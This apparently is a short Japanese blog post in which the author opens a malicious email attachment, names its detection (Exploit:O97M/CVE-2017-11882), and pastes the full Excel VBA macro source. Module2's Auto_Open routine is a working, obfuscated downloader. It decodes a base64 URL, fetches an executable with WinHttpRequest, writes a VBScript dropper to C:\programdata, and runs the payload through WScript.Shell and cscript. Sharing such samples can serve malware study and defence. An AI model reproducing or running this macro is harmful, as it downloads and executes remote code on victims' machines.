メールで添付されたウイルスを開いてみた。

Exploit:O97M/CVE-2017-11882.ARJ!MTBのウイルスでした。

内容はエクセルマクロです。

Module1.txt

Sub SortSheetsTabName()
Application.ScreenUpdating = False
Dim ShCount As Integer, i As Integer, j As Integer
ShCount = Sheets.Count
For i = 1 To ShCount - 1
For j = i + 1 To ShCount
If Sheets(j).Name < Sheets(i).Name Then
Sheets(j).Move before:=Sheets(i)
Sheets(j).Move before:=Sheets(i)
Sheets(j).Move before:=Sheets(i)
Sheets(j).Move before:=Sheets(i)
Sheets(j).Move before:=Sheets(i)
Sheets(j).Move before:=Sheets(i)
Sheets(j).Move before:=Sheets(i)
Sheets(j).Move before:=Sheets(i)
Sheets(j).Move before:=Sheets(i)
End If
Next j
Next i
Application.ScreenUpdating = True
End Sub

Sub gjhtghjmk()
Dim ws As Worksheet
Dim sdlduyetjgbh435t As String
sdlduyetjgbh435t = "Test123" 'replace Test123 with the sdlduyetjgbh435t you want
For Each ws In Worksheets
    hournow = Hour(Time())
    If hournow < 30 Then
       ws.Protect sdlduyetjgbh435t:=sdlduyetjgbh435t
    End If
Next ws
End Sub

Sub mhytgg()
Dim ws As Worksheet
Dim password As String
password = "Test123" 'replace Test123 with the password you want
For Each ws In Worksheets
ws.Unprotect password:=password
Next ws
End Sub


Module2.txt

Sub AddSerialNumbers()
Dim i As Integer
On Error GoTo Last
i = InputBox("Enter Value", "Enter Serial Numbers")
For i = 1 To i
ActiveCell.Value = i
ActiveCell.Offset(1, 0).Activate
Next i
Last: Exit Sub
End Sub
Sub HideSubtotals()
Dim pt As PivotTable
Dim pf As PivotField
On Error Resume Next
Set pt = ActiveSheet.PivotTables(ActiveCell.PivotTable.Name)
If pt Is Nothing Then
MsgBox "You must place your cursor inside of a PivotTable."
Exit Sub
End If
For Each pf In pt.PivotFields
pf.Subtotals(1) = True
pf.Subtotals(1) = False
Next pf
End Sub
Sub Auto_Open()
dbvwu63tr4t = dbvwu63tr4t & "iofu7eg7vftr6r3tr3 = ""bhju43h3uhiweokwgui4gukf4yugwEHJWERREGIH4FH874EUFWEHYUihruihrejigmg4b43y7u437843oji43ikotj43rfwet4345gy54yergt4e5tg3w54yt3""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "iofu7eg7vftr6r3tr3 = ""111aHRUcDovL2d0c2tzYS5jb20vY2hyb21lLmV4ZQ=="" " + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "iofu7eg7vftr6r3tr3 = Mid(iofu7eg7vftr6r3tr3, 4)" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "cksd76fweyht2r =""111Y2hyb21lLmV4ZQ==""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "cksd76fweyht2r = Mid(cksd76fweyht2r, 4)" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "bgfjeryhj57r6uj55jry6jr = ""b""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""in""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""."" " + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""ba""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""se6""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""4"" " + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "dim cftcfrfcfrfcfr, path" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "cftcfrfcfrfcfr = ""later""  'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "dim epsykevy3idfey, f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "cftcfrfcfrfcfr = ""later""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "Sub juytd098ei3lkdu8(vdg2, rgr3he) " + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Dim vvfebtrfdhbtrdfg, oriutoiuy87t34gr4y367, hyuifiuygwhjekriu" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    if rgr3he Then vvfebtrfdhbtrdfg = ""utf-16le"" Else vvfebtrfdhbtrdfg = ""utf-8""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    re645rjfr6edcb = ""CreateObject""  'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    leftieiehtegy33gy = ""(""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    rightieiehtegy33gy = "")""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    quoieiehtegy33gy = """"""""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    jbhgyuf7y8uiokjh = ""Ms""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""xm""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""l2""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + "".D""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""OM""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""Document""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    o9u7hgtyuei983jh = "".Cr""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""eate""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""Ele""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ment""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""(""""a""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ux"""")""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    yehrfjdks = ""s""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    bgfcvbhgfd = ""e"" + ""t lsksjegefectvvjdk"" + "" = """ + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    yehrfjdks = yehrfjdks + bgfcvbhgfd" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    yehrfjdks = yehrfjdks + re645rjfr6edcb + leftieiehtegy33gy + quoieiehtegy33gy + jbhgyuf7y8uiokjh + quoieiehtegy33gy + rightieiehtegy33gy + o9u7hgtyuei983jh" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Execute(yehrfjdks) " + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    lsksjegefectvvjdk.DataType = bgfjeryhj57r6uj55jry6jr 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    lsksjegefectvvjdk.Text = vdg2" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    aaax = ""ADODB"" 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    aaax = aaax + ""."" 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    aaax = aaax + ""Stream"" 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    novarue = ""Node""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    nvceuwkbfweu = ""novarue = novarue + """"TypedValue""""""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Execute(nvceuwkbfweu)" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    wwityetygehrer = ""ieeeeeeeeehhhhhfgfg"" + "" = lsksjegefectvvjdk."" + novarue" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Execute(wwityetygehrer)" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    If LCase(vvfebtrfdhbtrdfg) = ""utf-16le"" then " + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   epsykevy3idfey = CStr(ieeeeeeeeehhhhhfgfg)" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Else" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   epsykevy3idfey = CStr(ieeeeeeeeehhhhhfgfg)" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    re645rjfr6edcb = ""Create""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    re645rjfr6edcb = re645rjfr6edcb + ""Object""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    veuriieug34jr = ""Set baax = """ + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    veuriieug34jr = veuriieug34jr + re645rjfr6edcb + ""(aaax)""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Execute(veuriieug34jr) 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    djdufyfe67u3yhu = ""baax.Type = 1:baax."" + ""Open:baax.Wr"" + ""ite ieeeeeeeeehhhhhfgfg""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Execute(djdufyfe67u3yhu)" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    baax.Position = 0" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    baax.Type = 2 ' adTypeText" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    baax.CharSet = vvfebtrfdhbtrdfg" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    epsykevy3idfey = baax.ReadText" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    baax.Close" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    End If" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "end sub" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "Sub kjjjjjjjjjjjjjjjjjj(vdg2, rgr3he)" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Dim vvfebtrfdhbtrdfg " + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    if rgr3he Then vvfebtrfdhbtrdfg = ""utf-16le"" Else vvfebtrfdhbtrdfg = ""utf-8"" 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & " " + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    re645rjfr6edcb = ""CreateObject""  'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    leftieiehtegy33gy = ""(""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    rightieiehtegy33gy = "")""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    quoieiehtegy33gy = """"""""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    jbhgyuf7y8uiokjh = ""Ms""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""xm""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""l2""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + "".D""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""OM""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""Document""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    o9u7hgtyuei983jh = "".Cr""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""eate""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""Ele""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ment""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""(""""a""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ux"""")""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    jiwgft7hgyf367r = ""Set lsksjegefectvvjdk = """ + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Execute(jiwgft7hgyf367r + re645rjfr6edcb + leftieiehtegy33gy + quoieiehtegy33gy + jbhgyuf7y8uiokjh + quoieiehtegy33gy + rightieiehtegy33gy + o9u7hgtyuei983jh) " + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    lsksjegefectvvjdk.DataType = bgfjeryhj57r6uj55jry6jr" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    lsksjegefectvvjdk.Text = vdg2 " + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    aaax = ""ADODB"" 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    aaax = aaax + ""."" 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    aaax = aaax + ""Stream"" 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    novarue = ""Node""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Execute(""novarue = novarue + """"TypedValue"""""")" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Execute(""ieeeeeeeeehhhhhfgfg = lsksjegefectvvjdk."" + novarue) 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "If LCase(vvfebtrfdhbtrdfg) = ""utf-16le"" then" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF = CStr(ieeeeeeeeehhhhhfgfg)" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "Else" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "re645rjfr6edcb = ""creat""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "re645rjfr6edcb = re645rjfr6edcb + ""eob""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "re645rjfr6edcb = re645rjfr6edcb + ""je""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "re645rjfr6edcb = re645rjfr6edcb + ""ct""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "ksjdfuihrege9ur = ""Set baax = """ + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "Execute(ksjdfuihrege9ur + re645rjfr6edcb + ""(aaax)"") " + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "baax.Type = 1 ' adTypeBinary 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "Execute(""baax."" + ""Open"") " + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "Execute(""baax."" + ""Write ieeeeeeeeehhhhhfgfg"")" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "baax.Position = 0 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "baax.Type = 2 ' adTypeText" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "baax.CharSet = vvfebtrfdhbtrdfg" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "Execute(""f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF = baax."" + ""ReadText"") " + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "baax.Close" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "End If" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "end sub" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "Execute(""call "" + ""juytd098ei3lkdu8(cksd76fweyht2r,False)""):call kjjjjjjjjjjjjjjjjjj(iofu7eg7vftr6r3tr3,False) " + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "Sub xdecd( dfgerge, vcvxcv )" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   cobvar = ""Scripting."" + ""FileSystemObject""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "didtjw63jdt20 = ""cre""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "didtjw63jdt20 = didtjw63jdt20 + ""ate""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "didtjw63jdt20 = didtjw63jdt20 + ""ob""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "didtjw63jdt20 = didtjw63jdt20 + ""je""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "didtjw63jdt20 = didtjw63jdt20 + ""ct""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   dud765tyie = ""t fso = """ + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   Execute(""Se"" + dud765tyie + didtjw63jdt20 + ""(cobvar) "")" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   path = ""C""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   path = path + "":""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   path = path + ""\program""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   Execute(""path = path + """"data\asc"""" + """"."""" + """"txt"""""")" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   Execute(""gybghbgyh = fso."" + ""File"" + ""Exists(path)"")" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   If(gybghbgyh) Then" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "      Execute(""fso.DeleteFile(path)"") 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "      msg = path & "" exists.""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "      Execute(""gtyjnhjkfirejhrrhy=dfgerge:uytrfghjhfrtyhgf=vcvxcv"") " + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "      mkdfuiqwoer843 = ""W""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "      mkdfuiqwoer843 = mkdfuiqwoer843 + ""Script""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "       mkdfuiqwoer843 = mkdfuiqwoer843 + "".""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "       m = mkdfuiqwoer843 + ""Sh""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "       varforell = ""e"" + ""l""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "       varforell = varforell + Right(varforell, 1)" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "       m = m + varforell 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "       Execute(""l=m"")  'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "       if87eet5673ue94i = ""Set lkhnjhgfdrtyujh = """ + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "       if87eet5673ue94i = if87eet5673ue94i + didtjw63jdt20" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "       if87eet5673ue94i = if87eet5673ue94i + ""(l)""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "       Execute(if87eet5673ue94i)" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   Else" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "      msg = path & "" doesn't exist.""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   End If" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Dim i, objFile, objFSO, mkdfuiqwoer843, strFile, strMsg" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Const ForReading = 1, ForWriting = 2, ForAppending = 8 " + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    slashy = ""/""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    vfyf88ruy3t73tf = ""Set objFSO = """ + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    vfyf88ruy3t73tf = vfyf88ruy3t73tf + didtjw63jdt20" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    vfyf88ruy3t73tf = vfyf88ruy3t73tf + ""(cobvar) """ + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Execute(vfyf88ruy3t73tf)" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Execute(""ggfffffffffggggggg = objFSO.Folder"" + ""Exists(uytrfghjhfrtyhgf)"")" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Execute(""hdlkvgbfndm = objFSO.Folder"" + ""Exists( Left( uytrfghjhfrtyhgf, "" + ""InS"" + ""trRev"" + ""( uytrfghjhfrtyhgf, """"\"""" ) - 1 ) )"")" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    If(ggfffffffffggggggg) Then" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "        fje4ue783hu73 = ""Path(""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "        fje4ue783hu73 = fje4ue783hu73 +  ""gtyjnhjkfirejhrrhy, "" + ""InS"" + ""trRev"" + ""( gtyjnhjkfirejhrrhy, slashy ) + 1 ) )""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "        obvrva = "" = objFSO""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "        Execute(""strFile"" + obvrva + ""."" + ""Build"" + fje4ue783hu73) 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    ElseIf(hdlkvgbfndm) Then" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "        strFile = uytrfghjhfrtyhgf" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Else" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "        Exit Sub" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    End If" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    usdi4y34jh = ""Set mkdfuiqwoer843 = """ + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    usdi4y34jh = usdi4y34jh + didtjw63jdt20" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    usdi4y34jh = usdi4y34jh + ""( """"WinHttp.WinHttpRequest.5.1"""" )""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    Execute(usdi4y34jh)" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   dim stream_obj" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    ado = ""ADODB"" 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    ado = ado + ""."" 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    ado = ado + ""Stream"" 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    kxpwerw894tr23 = ""set stream_obj = """ + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    kxpwerw894tr23 = kxpwerw894tr23 + didtjw63jdt20" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    kxpwerw894tr23 = kxpwerw894tr23 + ""(ado)""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    e1234234 = ""mkdfuiqwoer843."" + ""Open """"GET"""", gtyjnhjkfirejhrrhy, False""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    e2428354 = ""mkdfuiqwoer843."" + ""Se"" + ""nd""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    e3674343 = ""stream_obj."" + ""type = 1""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "    e4485366 = ""stream_obj."" + ""open"" 'Z02" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   Execute(kxpwerw894tr23 + vbCrLf + e1234234 + vbCrLf + e2428354 + vbCrLf + e3674343 + vbCrLf + e4485366)" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   apapapapap11 = ""Re""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   apapapapap11 = apapapapap11 + ""spons""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   Execute(""stream_obj."" + ""write"" + "" mkdfuiqwoer843."" + apapapapap11 + ""eBody"") " + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   hji87966ryh = ""save""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   jsdkjfrre3 = ""str""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "   Execute(""stream_obj."" + hji87966ryh + ""tof"" + ""ile "" + jsdkjfrre3 + ""File"" + "", 2"")" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "End Sub" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "bfw0pw4623t3 = ""m""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "apfjebdlofe = bfw0pw4623t3 + ""data\"" + epsykevy3idfey" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "dieueehniv = ""exec """ + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "mancan = ""lkhnjhgfdrtyujh."" + dieueehniv + ""cksd76fweyht2r""" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "cksd76fweyht2r = ""C:\progra"" + apfjebdlofe" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "call xdecd(f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF, cksd76fweyht2r)" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "dim lkhnjhgfdrtyujh" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "xax = mancan" + vbCrLf
dbvwu63tr4t = dbvwu63tr4t & "lkhnjhgfdrtyujh.exec cksd76fweyht2r" + vbCrLf


mddjekfr = "....."
weiu87yu324jhr = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
bieufehur3 = ""
bieufehur3 = bieufehur3 & Left(mddjekfr, 1)
bieufehur3 = bieufehur3 & "sh"

While ireu87r7r8r8ur < 50
    bieufehur3 = bieufehur3 + "ell"
    ireu87r7r8r8ur = ireu87r7r8r8ur + 100
        On Error Resume Next
        On Error Resume Next
        On Error Resume Next
        On Error Resume Next
        On Error Resume Next
        On Error Resume Next
Wend

Dim iWorksheet As Worksheet
Dim iCounter As Long

If Application.OperatingSystem Like "*Windows*" Then
    If Application.OperatingSystem Like "*Windows*" Then
        If Application.OperatingSystem Like "*Windows*" Then
            If Application.OperatingSystem Like "*Windows*" Then
                Dim vch
                vch = Left(weiu87yu324jhr, 1)
                yyyyvar = "e"
                yyyyvar = yyyyvar + " "
            End If
        End If
    End If
End If


x = "C"
x = x + ":" 'Z02
x = x + "\" 'Z02
x = x + "pr" 'Z02
x = x + "og" 'Z02
x = x + "ramd" 'Z02
x = x + "ata\as"
x = x + "c"
x = x + "."
x = x + "txt"

xxxxxpath = "Wind" + "ows\"
difudteje = "s"
difudteje = difudteje + "ys"
difudteje = difudteje + "tem"
'difudteje = difudteje + "tem"
difudteje = difudteje + "32"
d8d78du = "C:\"
hournow = Hour(Time())
If hournow < 30 Then
fgwrfguery = "."
End If
fgwrfguery = fgwrfguery + "ex"
veiure5278eu2 = d8d78du + xxxxxpath + difudteje + "\c" + "sc" + "ri" + "pt" + fgwrfguery

jkyu676ghghjki = hournow
While jkyu676ghghjki < 50
    veiure5278eu2 = veiure5278eu2 + yyyyvar
    jkyu676ghghjki = jkyu676ghghjki + 100
Wend

Dim i As Integer 'Z02
'ii = InputBox("Enter Value", "Enter Serial Numbers")

ajdbey84jwgw = "Scri"
ajdbey84jwgw = ajdbey84jwgw + "pti"
ajdbey84jwgw = ajdbey84jwgw + "ng."
Dim oFile As Object 'Z02
almvar = "v" + vch
almvar = almvar + "s"
dyekfgaioalfvgeiw = "ipt1"
bbbmap = "scr" + dyekfgaioalfvgeiw

If hournow > -2322 Then
    xoshggeigr03 = x + ":" + bbbmap + "." + almvar
End If
c5g6yhnh3jhmt4t6 = uytrgdy652t3yhegdtu
ywkgl6 = 2 - 1

    Open xoshggeigr03 For Output As ywkgl6

b3r7w8reui43lt = hournow
If b3r7w8reui43lt < 50 Then
    While b3r7w8reui43lt < 50
        c5g6yhnh3jhmt4t6 = dbvwu63tr4t
        While ireu87r7r8r8ur < 50
            bieufehur3 = bieufehur3 + "ell"
            ireu87r7r8r8ur = ireu87r7r8r8ur + 100
                On Error Resume Next
                On Error Resume Next
                On Error Resume Next
                On Error Resume Next
                On Error Resume Next
                On Error Resume Next
        Wend
        Print #1, c5g6yhnh3jhmt4t6
        b3r7w8reui43lt = b3r7w8reui43lt + 100
    Wend
End If
b3r7w8reui43lt = hournow
While b3r7w8reui43lt < 50
          Close #1
    Dim kdhvs89dwfye6 As String
    kdhvs89dwfye6 = "W"
    minf = 50

    b3r7w8reui43lt = b3r7w8reui43lt + 100
Wend


